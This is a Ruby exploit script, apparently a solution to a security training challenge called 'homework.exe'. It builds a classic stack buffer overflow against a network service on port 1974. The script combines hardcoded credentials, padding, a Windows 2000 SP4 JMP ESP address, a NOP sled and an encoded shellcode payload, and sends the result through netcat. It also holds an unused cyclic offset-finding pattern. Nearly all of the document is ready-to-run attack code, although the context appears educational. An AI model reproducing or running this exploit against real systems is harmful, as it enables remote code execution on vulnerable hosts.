polytek homeworkexe solution

#!/usr/bin/env ruby

#hammackj, hammackj.com
#usage ./exploit.rb | nc ip homework.exe 1974

require 'socket'

#2048 Pattern
pattern = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq"
#2000 SP4 Rollup 1
JMP_ESP = [0x77F81BE3].pack('V')
NOP = "\x90"
USERNAME = "poly"
PASSWORD = "teknik"
PAYLOAD = 
  "\x33\xc9\xb1\x56\xbb\x79\xaa\x11\x96\xd9\xf6\xd9\x74\x24" +
  "\xf4\x5f\x31\x5f\x10\x03\x5f\x10\x83\xc7\x04\x9b\x5f\xed" +
  "\x7e\xd2\xa0\x0e\x7f\x84\x29\xeb\x4e\x96\x4e\x7f\xe2\x26" +
  "\x04\x2d\x0f\xcd\x48\xc6\x84\xa3\x44\xe9\x2d\x09\xb3\xc4" +
  "\xae\xbc\x7b\x8a\x6d\xdf\x07\xd1\xa1\x3f\x39\x1a\xb4\x3e" +
  "\x7e\x47\x37\x12\xd7\x03\xea\x82\x5c\x51\x37\xa3\xb2\xdd" +
  "\x07\xdb\xb7\x22\xf3\x51\xb9\x72\xac\xee\xf1\x6a\xc6\xa8" +
  "\x21\x8a\x0b\xab\x1e\xc5\x20\x1f\xd4\xd4\xe0\x6e\x15\xe7" +
  "\xcc\x3c\x28\xc7\xc0\x3d\x6c\xe0\x3a\x48\x86\x12\xc6\x4a" +
  "\x5d\x68\x1c\xdf\x40\xca\xd7\x47\xa1\xea\x34\x11\x22\xe0" +
  "\xf1\x56\x6c\xe5\x04\xbb\x06\x11\x8c\x3a\xc9\x93\xd6\x18" +
  "\xcd\xf8\x8d\x01\x54\xa5\x60\x3e\x86\x01\xdc\x9a\xcc\xa0" +
  "\x09\x9c\x8e\xac\xfe\x92\x30\x2d\x69\xa5\x43\x1f\x36\x1d" +
  "\xcc\x13\xbf\xbb\x0b\x53\xea\x7b\x83\xaa\x15\x7b\x8d\x68" +
  "\x41\x2b\xa5\x59\xea\xa0\x35\x65\x3f\x66\x66\xc9\x90\xc6" +
  "\xd6\xa9\x40\xae\x3c\x26\xbe\xce\x3e\xec\xc9\xc9\xf0\xd4" +
  "\x99\xbd\xf0\xea\x0c\x61\x7c\x0c\x44\x89\x28\x86\xf1\x6b" +
  "\x0f\x1f\x65\x94\x65\x33\x3e\x02\x31\x5d\xf8\x2d\xc2\x4b" +
  "\xaa\x82\x6a\x1c\x39\xc8\xae\x3d\x3e\xc5\x86\x34\x06\x8d" +
  "\x5d\x29\xc4\x2c\x61\x60\xbe\xcd\xf0\xef\x3f\x98\xe8\xa7" +
  "\x68\xcd\xdf\xb1\xfd\xe3\x46\x68\xe0\xfe\x1f\x53\xa0\x24" +
  "\xdc\x5a\x28\xa9\x58\x79\x3a\x77\x60\xc5\x6e\x27\x37\x93" +
  "\xd8\x81\xe1\x55\xb3\x5b\x5d\x3c\x53\x1a\xad\xff\x25\x23" +
  "\xf8\x89\xca\x95\x55\xcc\xf5\x19\x32\xd8\x8e\x44\xa2\x27" +
  "\x45\xcd\xc2\xc5\x4c\x3b\x6b\x50\x05\x86\xf6\x63\xf3\xc4" +
  "\x0e\xe0\xf6\xb4\xf4\xf8\x72\xb1\xb1\xbe\x6f\xcb\xaa\x2a" +
  "\x90\x78\xca\x7e\x9a"

boom = USERNAME + ":" + PASSWORD + "A" * 117 + JMP_ESP + NOP * 500 + PAYLOAD + "\r\n"

puts boom + "\r\n"